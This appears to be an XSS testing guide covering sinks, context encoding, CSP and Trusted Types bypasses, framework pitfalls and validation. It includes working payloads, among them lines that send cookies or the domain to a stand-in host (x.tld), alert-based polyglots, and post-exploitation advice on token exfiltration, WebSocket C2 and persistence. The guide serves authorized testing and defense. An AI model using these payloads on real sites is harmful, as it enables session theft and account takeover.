XSS

Cross-site scripting persists because context, parser, and framework edges are complex. Treat every user-influenced string as untrusted until it is strictly encoded for the exact sink and guarded by runtime policy (CSP/Trusted Types).

Attack Surface

Types

• Reflected, stored, and DOM-based XSS across web/mobile/desktop shells

Contexts

• HTML, attribute, URL, JS, CSS, SVG/MathML, Markdown, PDF

Frameworks

• React/Vue/Angular/Svelte sinks, template engines, SSR/ISR

Defenses to Bypass

• CSP/Trusted Types, DOMPurify, framework auto-escaping

Injection Points

Server Render

• Templates (Jinja/EJS/Handlebars), SSR frameworks, email/PDF renderers

Client Render

• innerHTML/outerHTML/insertAdjacentHTML, template literals
• dangerouslySetInnerHTML, v-html, $sce.trustAsHtml, Svelte {@html}

URL/DOM

• location.hash/search, document.referrer, base href, data-* attributes

Events/Handlers

• onerror/onload/onfocus/onclick and javascript: URL handlers

Cross-Context

• postMessage payloads, WebSocket messages, local/sessionStorage, IndexedDB

File/Metadata

• Image/SVG/XML names and EXIF, office documents processed server/client

Context Encoding Rules

• HTML text: encode < > & " '
• Attribute value: encode " ' < > & and ensure attribute quoted; avoid unquoted attributes
• URL/JS URL: encode and validate scheme (allowlist https/mailto/tel); disallow javascript/data
• JS string: escape quotes, backslashes, newlines; prefer JSON.stringify
• CSS: avoid injecting into style; sanitize property names/values; beware url() and expression()
• SVG/MathML: treat as active content; many tags execute via onload or animation events

Key Vulnerabilities

DOM XSS

Sources

• location.* (hash/search), document.referrer, postMessage, storage, service worker messages

Sinks

• innerHTML/outerHTML/insertAdjacentHTML, document.write
• setAttribute, setTimeout/setInterval with strings
• eval/Function, new Worker with blob URLs

Vulnerable Pattern

const q = new URLSearchParams(location.search).get('q');
results.innerHTML = `<li>${q}</li>`;

Exploit: ?q=<img src=x onerror=fetch('//x.tld/'+document.domain)>

Mutation XSS

Leverage parser repairs to morph safe-looking markup into executable code (e.g., noscript, malformed tags):

<noscript><p title="</noscript><img src=x onerror=alert(1)>
<form><button formaction=javascript:alert(1)>

Template Injection

Server or client templates evaluating expressions (AngularJS legacy, Handlebars helpers, lodash templates):

{{constructor.constructor('fetch(`//x.tld?c=`+document.cookie)')()}}

CSP Bypass

• Weak policies: missing nonces/hashes, wildcards, data: blob: allowed, inline events allowed
• Script gadgets: JSONP endpoints, libraries exposing function constructors
• Import maps or modulepreload lax policies
• Base tag injection to retarget relative script URLs
• Dynamic module import with allowed origins

Trusted Types Bypass

• Custom policies returning unsanitized strings; abuse policy whitelists
• Sinks not covered by Trusted Types (CSS, URL handlers) and pivot via gadgets

Polyglot Payloads

Keep a compact set tuned per context:

• HTML node: <svg onload=alert(1)>
• Attr quoted: " autofocus onfocus=alert(1) x="
• Attr unquoted: onmouseover=alert(1)
• JS string: "-alert(1)-"
• URL: javascript:alert(1)

Framework-Specific

React

• Primary sink: dangerouslySetInnerHTML
• Secondary: setting event handlers or URLs from untrusted input
• Bypass patterns: unsanitized HTML through libraries; custom renderers using innerHTML

Vue

• Sinks: v-html and dynamic attribute bindings
• SSR hydration mismatches can re-interpret content

Angular

• Legacy expression injection (pre-1.6)
• $sce trust APIs misused to whitelist attacker content

Svelte

• Sinks: {@html} and dynamic attributes

Markdown/Richtext

• Renderers often allow HTML passthrough; plugins may re-enable raw HTML
• Sanitize post-render; forbid inline HTML or restrict to safe whitelist

Special Contexts

Email

• Most clients strip scripts but allow CSS/remote content
• Use CSS/URL tricks only if relevant; avoid assuming JS execution

PDF and Docs

• PDF engines may execute JS in annotations or links
• Test javascript: in links and submit actions

File Uploads

• SVG/HTML uploads served with text/html or image/svg+xml can execute inline
• Verify content-type and Content-Disposition: attachment
• Mixed MIME and sniffing bypasses; ensure X-Content-Type-Options: nosniff

Post-Exploitation

• Session/token exfiltration: prefer fetch/XHR over image beacons for reliability
• Real-time control: WebSocket C2 with strict command set
• Persistence: service worker registration; localStorage/script gadget re-injection
• Impact: role hijack, CSRF chaining, internal port scan via fetch, credential phishing overlays

Testing Methodology

1. Identify sources - URL/query/hash/referrer, postMessage, storage, WebSocket, server JSON
2. Trace to sinks - Map data flow from source to sink
3. Classify context - HTML node, attribute, URL, script block, event handler, JS eval-like, CSS, SVG
4. Assess defenses - Output encoding, sanitizer, CSP, Trusted Types, DOMPurify config
5. Craft payloads - Minimal payloads per context with encoding/whitespace/casing variants
6. Multi-channel - Test across REST, GraphQL, WebSocket, SSE, service workers

Validation

1. Provide minimal payload and context (sink type) with before/after DOM or network evidence
2. Demonstrate cross-browser execution where relevant or explain parser-specific behavior
3. Show bypass of stated defenses (sanitizer settings, CSP/Trusted Types) with proof
4. Quantify impact beyond alert: data accessed, action performed, persistence achieved

False Positives

• Reflected content safely encoded in the exact context
• CSP with nonces/hashes and no inline/event handlers
• Trusted Types enforced on sinks; DOMPurify in strict mode with URI allowlists
• Scriptable contexts disabled (no HTML pass-through, safe URL schemes enforced)

Impact

• Session hijacking and credential theft
• Account takeover via token exfiltration
• CSRF chaining for state-changing actions
• Malware distribution and phishing
• Persistent compromise via service workers

Pro Tips

1. Start with context classification, not payload brute force
2. Use DOM instrumentation to log sink usage; it reveals unexpected flows
3. Keep a small, curated payload set per context and iterate with encodings
4. Validate defenses by configuration inspection and negative tests
5. Prefer impact-driven PoCs (exfiltration, CSRF chain) over alert boxes
6. Treat SVG/MathML as first-class active content; test separately
7. Re-run tests under different transports and render paths (SSR vs CSR vs hydration)
8. Test CSP/Trusted Types as features: attempt to violate policy and record the violation reports

Summary

Context + sink decide execution. Encode for the exact context, verify at runtime with CSP/Trusted Types, and validate every alternative render path. Small payloads with strong evidence beat payload catalogs.